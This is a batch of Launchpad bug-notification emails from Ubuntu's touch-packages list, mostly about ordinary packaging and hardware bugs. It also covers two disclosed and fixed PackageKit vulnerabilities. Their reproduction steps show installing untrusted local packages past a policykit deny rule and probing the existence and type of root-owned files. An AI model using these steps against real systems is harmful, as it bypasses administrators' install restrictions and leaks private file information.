[Touch-packages] [Bug 1884514] Re: [20.10 FEAT] zlib/gzip hardware compression enablement
** Description changed: + [Feature Freeze Exception] + + 1. Feature: + + The latest s390x hardware comes with a new concept for hardware assisted + compression/decompression, based on a 'Next Accelerator Function unit' + (NXU). This is an on-chip concept, a co-processor for compression + available to all cores on the same chip. It provides functions as normal + 'problem state' instructions (in other words user space instructions + that are directly consumable by libraries and applications) and supports + DEFLATE compliant compression/decompression + GZIP CRC/ZLIB Adler. + + To enable this hardware support for zlib and gzip, zlib needs to be compiled with CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e". + The value of 0x7e enables hardware compression for the compression levels 1-6 (out of 0-9). + There is a significant business value of having the enablement active by default, since tests on a system with 4 IFLs and hardware compression enabled this way offered (especially for DEFLATE as best case) a speed up of more than 40x. + + 2. Changes + + Adding CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e" attributes/macro + during build of zlib and gzip. + + 3. Regression risk + + The concept is new and comes with IBM z15 and LinuxONE III only and is with that specific and limited to s390x. + Hence a potential regressions of this late addition would be limited to s390x and there again with the above changes to zlib (and gzip). + In case of unforeseen issues with the NXU hardware component, a fallback to software is done. + On top a modified zlib package was build and made available in a PPA for further testing. + This change should have been included earlier, but was blocked by other zlib tickets/bugs that needed to be fixed and integrated first (like LP 1893170), hence this request for late addition. + __ + HW Compression need to be enabled with Default-Compression-Level 6. - Adding following CFLAGS attributes during build of zlib and gzip - "-DDFLTCC_LEVEL_MASK=0x7e" - + Adding following CFLAGS attributes during build of zlib and gzip + "-DDFLTCC_LEVEL_MASK=0x7e" CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e" ./configure -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to zlib in Ubuntu. https://bugs.launchpad.net/bugs/1884514 Title: [20.10 FEAT] zlib/gzip hardware compression enablement Status in Ubuntu on IBM z Systems: In Progress Status in gzip package in Ubuntu: New Status in zlib package in Ubuntu: New Bug description: [Feature Freeze Exception] 1. Feature: The latest s390x hardware comes with a new concept for hardware assisted compression/decompression, based on a 'Next Accelerator Function unit' (NXU). This is an on-chip concept, a co-processor for compression available to all cores on the same chip. It provides functions as normal 'problem state' instructions (in other words user space instructions that are directly consumable by libraries and applications) and supports DEFLATE compliant compression/decompression + GZIP CRC/ZLIB Adler. To enable this hardware support for zlib and gzip, zlib needs to be compiled with CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e". The value of 0x7e enables hardware compression for the compression levels 1-6 (out of 0-9). There is a significant business value of having the enablement active by default, since tests on a system with 4 IFLs and hardware compression enabled this way offered (especially for DEFLATE as best case) a speed up of more than 40x. 2. Changes Adding CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e" attributes/macro during build of zlib and gzip. 3. Regression risk The concept is new and comes with IBM z15 and LinuxONE III only and is with that specific and limited to s390x. Hence a potential regressions of this late addition would be limited to s390x and there again with the above changes to zlib (and gzip). In case of unforeseen issues with the NXU hardware component, a fallback to software is done. On top a modified zlib package was build and made available in a PPA for further testing. This change should have been included earlier, but was blocked by other zlib tickets/bugs that needed to be fixed and integrated first (like LP 1893170), hence this request for late addition. __ HW Compression need to be enabled with Default-Compression-Level 6. Adding following CFLAGS attributes during build of zlib and gzip "-DDFLTCC_LEVEL_MASK=0x7e" CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e" ./configure To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1884514/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1884514] Re: [FFe][20.10 FEAT] zlib/gzip hardware compression enablement
** Summary changed: - [20.10 FEAT] zlib/gzip hardware compression enablement + [FFe][20.10 FEAT] zlib/gzip hardware compression enablement ** Changed in: ubuntu-z-systems Status: In Progress => Triaged -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to zlib in Ubuntu. https://bugs.launchpad.net/bugs/1884514 Title: [FFe][20.10 FEAT] zlib/gzip hardware compression enablement Status in Ubuntu on IBM z Systems: Triaged Status in gzip package in Ubuntu: New Status in zlib package in Ubuntu: New Bug description: [Feature Freeze Exception] 1. Feature: The latest s390x hardware comes with a new concept for hardware assisted compression/decompression, based on a 'Next Accelerator Function unit' (NXU). This is an on-chip concept, a co-processor for compression available to all cores on the same chip. It provides functions as normal 'problem state' instructions (in other words user space instructions that are directly consumable by libraries and applications) and supports DEFLATE compliant compression/decompression + GZIP CRC/ZLIB Adler. To enable this hardware support for zlib and gzip, zlib needs to be compiled with CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e". The value of 0x7e enables hardware compression for the compression levels 1-6 (out of 0-9). There is a significant business value of having the enablement active by default, since tests on a system with 4 IFLs and hardware compression enabled this way offered (especially for DEFLATE as best case) a speed up of more than 40x. 2. Changes Adding CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e" attributes/macro during build of zlib and gzip. 3. Regression risk The concept is new and comes with IBM z15 and LinuxONE III only and is with that specific and limited to s390x. Hence a potential regressions of this late addition would be limited to s390x and there again with the above changes to zlib (and gzip). In case of unforeseen issues with the NXU hardware component, a fallback to software is done. On top a modified zlib package was build and made available in a PPA for further testing. This change should have been included earlier, but was blocked by other zlib tickets/bugs that needed to be fixed and integrated first (like LP 1893170), hence this request for late addition. __ HW Compression need to be enabled with Default-Compression-Level 6. Adding following CFLAGS attributes during build of zlib and gzip "-DDFLTCC_LEVEL_MASK=0x7e" CFLAGS="-O2 -DDFLTCC -DDFLTCC_LEVEL_MASK=0x7e" ./configure To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1884514/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1882098] Re: Packagekit lets user install untrusted local packages in Bionic and Focal
I checked the patch again on bionic, turns out I missed the packagekit restart the first time and the package postinst script for one reason or another didn't restart the daemon on my test machine as it did on focal. The patch seems to work on bionic as well. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1882098 Title: Packagekit lets user install untrusted local packages in Bionic and Focal Status in packagekit package in Ubuntu: Triaged Bug description: We have packagekit configured to allow users to install trusted packages from preconfigured repositories, but disallowed them to install any untrusted packages. The policykit configuration we use is following: [tld.univ.packagekit] Identity=unix-group:adm; Action=org.freedesktop.packagekit.package-install;org.freedesktop.packagekit.package-reinstall;org.freedesktop.packagekit.package-remove;org.freedesktop.packagekit.system-sources-refresh;org.freedesktop.packagekit.system-update;org.freedesktop.packagekit.repair-system; ResultAny=auth_self ResultActive=auth_self ResultInactive=auth_self [tld.univ.packagekit-deny] Identity=unix-user:*; Action=org.freedesktop.packagekit.package-install-untrusted; ResultAny=no We would expect this to prevent users from installing local packages downloaded from random repositories, however this does not seem to be the case. pkcon install-local random_package.deb will happily prompt for the user to authenticate and will install the package, while pkcon --allow-untrusted install-local random_package.deb will prompt for root password, which the user does not have. Our initial toughts was that the issue would be in packagekitd, but after further investigations it looks like the issue could be in aptcc backend. We are more than happy to provide you with further details, but the above should be enough to reproduce the issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1882098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896919] [NEW] [SRU] g-c-c: The hdmi/dp profiles are not set automatically in the combo list after plugging a hdmi/dp monitor
Public bug reported: This is for tracking purpose. ** Affects: gnome-control-center (Ubuntu) Importance: Critical Assignee: Hui Wang (hui.wang) Status: New ** Changed in: pulseaudio (Ubuntu) Importance: Undecided => Critical ** Also affects: gnome-control-center (Ubuntu) Importance: Undecided Status: New ** No longer affects: pulseaudio (Ubuntu) ** Changed in: gnome-control-center (Ubuntu) Importance: Undecided => Critical ** Changed in: gnome-control-center (Ubuntu) Assignee: (unassigned) => Hui Wang (hui.wang) ** Summary changed: - [SRU] The hdmi/dp profiles are not set automatically in the combolist + [SRU] g-c-c: The hdmi/dp profiles are not set automatically in the combo list after plugging a hdmi/dp monitor -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1896919 Title: [SRU] g-c-c: The hdmi/dp profiles are not set automatically in the combo list after plugging a hdmi/dp monitor Status in gnome-control-center package in Ubuntu: New Bug description: This is for tracking purpose. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1896919/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896772] Re: systemd-resolved configures no Current Scopes on start
I can't reproduce that on an up to date 20.10 laptop with wifi connection only. Could you please add some more details that could help in reproduction? If you downgrade to systemd 246.4-1ubuntu1 do you still observe this bug? . ** Changed in: systemd (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1896772 Title: systemd-resolved configures no Current Scopes on start Status in systemd package in Ubuntu: Incomplete Bug description: Running groovy on the desktop, with the systemd packages that migrated today(/overnight EDT). # Steps to reproduce: 1) `systemctl restart systemd-resolved.service` (This is a minimal reproducer, but I first saw this after an apt upgrade of systemd.) # Expected behaviour: DNS continues to work, status looks like this: Link 2 (enp5s0) Current Scopes: DNS DefaultRoute setting: yes LLMNR setting: yes MulticastDNS setting: no DNSOverTLS setting: no DNSSEC setting: no DNSSEC supported: no Current DNS Server: 192.168.1.1 DNS Servers: 192.168.1.1 DNS Domain: ~. lan # Actual behaviour: DNS is unconfigured: Link 2 (enp5s0) Current Scopes: none DefaultRoute setting: no LLMNR setting: yes MulticastDNS setting: no DNSOverTLS setting: no DNSSEC setting: no DNSSEC supported: no # Workaround Disconnecting and reconnecting my network connection restored DNS functionality. ProblemType: Bug DistroRelease: Ubuntu 20.10 Package: systemd 246.5-1ubuntu1 ProcVersionSignature: Ubuntu 5.8.0-18.19-generic 5.8.4 Uname: Linux 5.8.0-18-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu45 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: i3 CurrentDmesg: Error: command ['dmesg'] failed with exit code 1: dmesg: read kernel buffer failed: Operation not permitted Date: Wed Sep 23 09:05:42 2020 InstallationDate: Installed on 2019-05-07 (504 days ago) InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210) MachineType: Gigabyte Technology Co., Ltd. B450M DS3H ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.8.0-18-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash resume=UUID=73909634-a75d-42c9-8f66-a69138690756 pcie_aspm=off vt.handoff=7 RebootRequiredPkgs: gnome-shell SourcePackage: systemd SystemdDelta: [EXTENDED] /lib/systemd/system/rc-local.service → /lib/systemd/system/rc-local.service.d/debian.conf [EXTENDED] /lib/systemd/system/user@.service → /lib/systemd/system/user@.service.d/timeout.conf 2 overridden configuration files found. SystemdFailedUnits: Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use systemd-escape?). Unit \xe2\x97\x8f.service could not be found. -- Error: command ['systemctl', 'status', '--full', '●'] failed with exit code 4: Invalid unit name "●" escaped as "\xe2\x97\x8f" (maybe you should use systemd-escape?). Unit \xe2\x97\x8f.service could not be found. UpgradeStatus: Upgraded to groovy on 2020-06-22 (92 days ago) dmi.bios.date: 01/25/2019 dmi.bios.release: 5.13 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F4 dmi.board.asset.tag: Default string dmi.board.name: B450M DS3H-CF dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF4:bd01/25/2019:br5.13:svnGigabyteTechnologyCo.,Ltd.:pnB450MDS3H:pvrDefaultstring:rvnGigabyteTechnologyCo.,Ltd.:rnB450MDS3H-CF:rvrx.x:cvnDefaultstring:ct3:cvrDefaultstring: dmi.product.family: Default string dmi.product.name: B450M DS3H dmi.product.sku: Default string dmi.product.version: Default string dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1896772/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1882098] Re: Packagekit lets user install untrusted local packages in Bionic and Focal
This bug was fixed in the package packagekit - 1.1.9-1ubuntu2.18.04.6 --- packagekit (1.1.9-1ubuntu2.18.04.6) bionic-security; urgency=medium * SECURITY UPDATE: information disclosure (LP: #187) - debian/patches/CVE-2020-16121.patch: hide failures behind a single error message in src/pk-transaction.c. - CVE-2020-16121 * SECURITY UPDATE: untrusted local file installation (LP: #1882098) - debian/patches/CVE-2020-16122.patch: do not trust local packages in backends/aptcc/apt-intf.cpp. - CVE-2020-16122 -- Marc Deslauriers Wed, 23 Sep 2020 07:01:04 -0400 ** Changed in: packagekit (Ubuntu) Status: Triaged => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1882098 Title: Packagekit lets user install untrusted local packages in Bionic and Focal Status in packagekit package in Ubuntu: Fix Released Bug description: We have packagekit configured to allow users to install trusted packages from preconfigured repositories, but disallowed them to install any untrusted packages. The policykit configuration we use is following: [tld.univ.packagekit] Identity=unix-group:adm; Action=org.freedesktop.packagekit.package-install;org.freedesktop.packagekit.package-reinstall;org.freedesktop.packagekit.package-remove;org.freedesktop.packagekit.system-sources-refresh;org.freedesktop.packagekit.system-update;org.freedesktop.packagekit.repair-system; ResultAny=auth_self ResultActive=auth_self ResultInactive=auth_self [tld.univ.packagekit-deny] Identity=unix-user:*; Action=org.freedesktop.packagekit.package-install-untrusted; ResultAny=no We would expect this to prevent users from installing local packages downloaded from random repositories, however this does not seem to be the case. pkcon install-local random_package.deb will happily prompt for the user to authenticate and will install the package, while pkcon --allow-untrusted install-local random_package.deb will prompt for root password, which the user does not have. Our initial toughts was that the issue would be in packagekitd, but after further investigations it looks like the issue could be in aptcc backend. We are more than happy to provide you with further details, but the above should be enough to reproduce the issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1882098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1882098] Re: Packagekit lets user install untrusted local packages in Bionic and Focal
This bug was fixed in the package packagekit - 0.8.17-4ubuntu6~gcc5.4ubuntu1.5 --- packagekit (0.8.17-4ubuntu6~gcc5.4ubuntu1.5) xenial-security; urgency=medium * SECURITY UPDATE: information disclosure (LP: #187) - debian/patches/CVE-2020-16121.patch: hide failures behind a single error message in src/pk-transaction.c. - CVE-2020-16121 * SECURITY UPDATE: untrusted local file installation (LP: #1882098) - debian/patches/CVE-2020-16122.patch: do not trust local packages in backends/aptcc/apt-intf.cpp. - CVE-2020-16122 -- Marc Deslauriers Wed, 23 Sep 2020 13:23:04 -0400 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1882098 Title: Packagekit lets user install untrusted local packages in Bionic and Focal Status in packagekit package in Ubuntu: Fix Released Bug description: We have packagekit configured to allow users to install trusted packages from preconfigured repositories, but disallowed them to install any untrusted packages. The policykit configuration we use is following: [tld.univ.packagekit] Identity=unix-group:adm; Action=org.freedesktop.packagekit.package-install;org.freedesktop.packagekit.package-reinstall;org.freedesktop.packagekit.package-remove;org.freedesktop.packagekit.system-sources-refresh;org.freedesktop.packagekit.system-update;org.freedesktop.packagekit.repair-system; ResultAny=auth_self ResultActive=auth_self ResultInactive=auth_self [tld.univ.packagekit-deny] Identity=unix-user:*; Action=org.freedesktop.packagekit.package-install-untrusted; ResultAny=no We would expect this to prevent users from installing local packages downloaded from random repositories, however this does not seem to be the case. pkcon install-local random_package.deb will happily prompt for the user to authenticate and will install the package, while pkcon --allow-untrusted install-local random_package.deb will prompt for root password, which the user does not have. Our initial toughts was that the issue would be in packagekitd, but after further investigations it looks like the issue could be in aptcc backend. We are more than happy to provide you with further details, but the above should be enough to reproduce the issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1882098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1882098] Re: Packagekit lets user install untrusted local packages in Bionic and Focal
This bug was fixed in the package packagekit - 1.1.13-2ubuntu1.1 --- packagekit (1.1.13-2ubuntu1.1) focal-security; urgency=medium * SECURITY UPDATE: information disclosure (LP: #187) - debian/patches/CVE-2020-16121.patch: hide failures behind a single error message in src/pk-transaction.c. - CVE-2020-16121 * SECURITY UPDATE: untrusted local file installation (LP: #1882098) - debian/patches/CVE-2020-16122.patch: do not trust local packages in backends/aptcc/apt-intf.cpp. - CVE-2020-16122 -- Marc Deslauriers Wed, 23 Sep 2020 06:55:22 -0400 ** Changed in: packagekit (Ubuntu) Status: Triaged => Fix Released ** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-16121 ** Changed in: packagekit (Ubuntu) Status: Triaged => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1882098 Title: Packagekit lets user install untrusted local packages in Bionic and Focal Status in packagekit package in Ubuntu: Fix Released Bug description: We have packagekit configured to allow users to install trusted packages from preconfigured repositories, but disallowed them to install any untrusted packages. The policykit configuration we use is following: [tld.univ.packagekit] Identity=unix-group:adm; Action=org.freedesktop.packagekit.package-install;org.freedesktop.packagekit.package-reinstall;org.freedesktop.packagekit.package-remove;org.freedesktop.packagekit.system-sources-refresh;org.freedesktop.packagekit.system-update;org.freedesktop.packagekit.repair-system; ResultAny=auth_self ResultActive=auth_self ResultInactive=auth_self [tld.univ.packagekit-deny] Identity=unix-user:*; Action=org.freedesktop.packagekit.package-install-untrusted; ResultAny=no We would expect this to prevent users from installing local packages downloaded from random repositories, however this does not seem to be the case. pkcon install-local random_package.deb will happily prompt for the user to authenticate and will install the package, while pkcon --allow-untrusted install-local random_package.deb will prompt for root password, which the user does not have. Our initial toughts was that the issue would be in packagekitd, but after further investigations it looks like the issue could be in aptcc backend. We are more than happy to provide you with further details, but the above should be enough to reproduce the issue. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1882098/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1896736] Re: Black screen after resume from suspend invoked by lid close on Thinkpad
Does not occur on my Thinkpad Yoga X1, probably a driver issue. ** Package changed: systemd (Ubuntu) => linux (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1896736 Title: Black screen after resume from suspend invoked by lid close on Thinkpad Status in linux package in Ubuntu: New Bug description: I can resume my laptop without problems when suspend via window manager like xfce in my case. However when closing the lid the resume does not work, the screen remains blank when opened again while the system is working (CTRL-ALT-F2 working and so on). Looking at Xorg.0.log shows me no action right after suspend. So it looks like X does not get any resume trigger when the lid is opened again. So I assume a problem in the signal chain whoever is responsible for this? Xorg.0.log excerpt: [ 1745.027] (II) event8 - Logitech K750: device removed [ 1745.055] (II) event15 - Logitech MX Anywhere 2: device removed [ 1745.072] (II) event21 - MX Anywhere 2 Keyboard: device removed [ 1745.092] (II) event22 - MX Anywhere 2 Mouse: device removed [ 1745.139] (II) AIGLX: Suspending AIGLX clients for VT switch *** following section is missing when lid is opened *** [ 1749.149] (II) AIGLX: Resuming AIGLX clients after VT switch [ 1749.151] (II) modeset(0): EDID vendor "SDC", prod id 16705 [ 1749.151] (II) modeset(0): Printing DDC gathered Modelines: ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: systemd 245.4-4ubuntu3.2 ProcVersionSignature: Ubuntu 5.4.0-47.51-generic 5.4.55 Uname: Linux 5.4.0-47-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.8 Architecture: amd64 CasperMD5CheckResult: skip CurrentDesktop: XFCE Date: Wed Sep 23 10:57:19 2020 InstallationDate: Installed on 2019-12-19 (278 days ago) InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017) MachineType: LENOVO 20QV00CEGE ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-47-generic root=UUID=61de670d-9f3a-4c81-830c-6139384d0e13 ro modeprobe.blacklist=nouveau amd_iommu=off resume=UUID=3f5116a3-c5a3-490f-b029-2388b7adac74 quiet splash vt.handoff=7 SourcePackage: systemd UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/06/2020 dmi.bios.vendor: LENOVO dmi.bios.version: N2OET47W (1.34 ) dmi.board.asset.tag: Not Available dmi.board.name: 20QV00CEGE dmi.board.vendor: LENOVO dmi.board.version: SDK0T08861 WIN dmi.chassis.asset.tag: No Asset Information dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: None dmi.modalias: dmi:bvnLENOVO:bvrN2OET47W(1.34):bd08/06/2020:svnLENOVO:pn20QV00CEGE:pvrThinkPadX1Extreme2nd:rvnLENOVO:rn20QV00CEGE:rvrSDK0T08861WIN:cvnLENOVO:ct10:cvrNone: dmi.product.family: ThinkPad X1 Extreme 2nd dmi.product.name: 20QV00CEGE dmi.product.sku: LENOVO_MT_20QV_BU_Think_FM_ThinkPad X1 Extreme 2nd dmi.product.version: ThinkPad X1 Extreme 2nd dmi.sys.vendor: LENOVO modified.conffile..etc.systemd.resolved.conf: [modified] mtime.conffile..etc.systemd.logind.conf: 2020-09-23T10:22:54.440796 mtime.conffile..etc.systemd.resolved.conf: 2020-06-01T22:34:53.022126 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1896736/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1888887] Re: Reading local files as root leads to sensitive information disclosure
** Information type changed from Private Security to Public Security -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/187 Title: Reading local files as root leads to sensitive information disclosure Status in packagekit package in Ubuntu: Fix Released Bug description: Hi, The InstallFiles, GetFilesLocal and GetDetailsLocal methods of the d-bus interface to PackageKit accesses given files before checking for authorization. This allows non-privileged users to learn the MIME type of any file on the system. Example in attached Python script: $ python3 test_file_exists_pk.py /root/.bashrc File exists and is of MIME type: 'text/plain' $ python3 test_file_exists_pk.py /root/.bashrca File does not exist Description: Ubuntu 20.04 LTS Release: 20.04 packagekit: Installed: 1.1.13-2ubuntu1 Candidate: 1.1.13-2ubuntu1 Version table: *** 1.1.13-2ubuntu1 500 500 http://nl.archive.ubuntu.com/ubuntu focal/main amd64 Packages 100 /var/lib/dpkg/status Kind regards, Vaisha Bernard EYE Control B.V. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/187/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1895576] Re: boot-and-services in tests-in-lxd autopkgtest fails in groovy on s390x
I can't start s390x VMs to reproduce it for some reason so I'm just disabling this test in the next upload. ** Changed in: systemd (Ubuntu) Status: New => In Progress -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1895576 Title: boot-and-services in tests-in-lxd autopkgtest fails in groovy on s390x Status in systemd package in Ubuntu: In Progress Bug description: https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac /autopkgtest- groovy/groovy/s390x/s/systemd/20200903_184028_2bbdf@/log.gz ... test_rsyslog (__main__.ServicesTest) ... FAIL test_tmp_cleanup (__main__.ServicesTest) ... ok test_tmp_mount (__main__.ServicesTest) ... ok test_udev (__main__.ServicesTest) ... skipped 'udev does not work in containers' == FAIL: test_rsyslog (__main__.ServicesTest) -- Traceback (most recent call last): File "/tmp/autopkgtest.15TVnz/build.ZVh/real-tree/debian/tests/boot-and-services", line 120, in test_rsyslog self.assertRegex(log, 'systemd.*Reached target Graphical Interface') ... Interestingly it does not fail locally on an s390x Focal VM running boot-and-services in LXD. Kernel: Linux juju-d7a408-generic-21 5.4.0-14-generic Also interestingly it is passing with cryptsetup/2:2.3.3-1ubuntu5 glibc/2.32-0ubuntu2. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1895576/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1820929] Re: netplan should consider adding more udev attribute for exact matching of failover 3-netdev interfaces
Hello Si-Wei, or anyone else affected, Accepted initramfs-tools into bionic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/initramfs- tools/0.130ubuntu3.11 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed- bionic to verification-done-bionic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification- failed-bionic. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: initramfs-tools (Ubuntu Bionic) Status: In Progress => Fix Committed ** Tags added: verification-needed verification-needed-bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1820929 Title: netplan should consider adding more udev attribute for exact matching of failover 3-netdev interfaces Status in netplan: Triaged Status in initramfs-tools package in Ubuntu: New Status in netplan.io package in Ubuntu: Triaged Status in systemd package in Ubuntu: Incomplete Status in initramfs-tools source package in Bionic: Fix Committed Status in netplan.io source package in Bionic: New Status in systemd source package in Bionic: New Bug description: [Impact] * At present, virtual machines utilizing net_failover network interface configurations are incorrectly configured due to the reliance on the MAC address to identify specific network interfaces. When net_failover is utilized, multiple interfaces will bear the same MAC address (the net_failover master itself, as well as the interfaces subordinate to it), rendering the MAC address ineffective for unique identification of the interface. This results in incorrect naming of network interfaces from the "set-name" directive in the netplan configuration. * The solution here is to use the interface name instead of the MAC address when the interface is a net_failover master device. Logic is added on initramfs-tools to check the device type and virtio flags to apply this change only to net_failover master devices. [Test Case] * The change can be tested by configuring a virtual machine with a virtio_net network device with the "failover=on" option to the "-device" option to qemu, e.g., -device virtio-net- pci,netdev=hostnet0,id=net0,bus=pci.0,addr=0x3,mac=00:00:17:00:18:04,failover=on * This will set the virtio device "standby" feature bit (bit 62, counting from 0). This requires a version of qemu with support for this feature. * When so configured, the netplan configuration generated by initramfs will not contain a "macaddress:" match directive for the network interface in question. [Regression Potential] * Erroneous identification of a network interface as a net_failover master device could lead to omission of a macaddress directive, causing interfaces to be incorrectly named. To manage notifications about this bug go to: https://bugs.launchpad.net/netplan/+bug/1820929/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1879980] Re: Fail to boot with LUKS on top of RAID1 if the array is broken/degraded
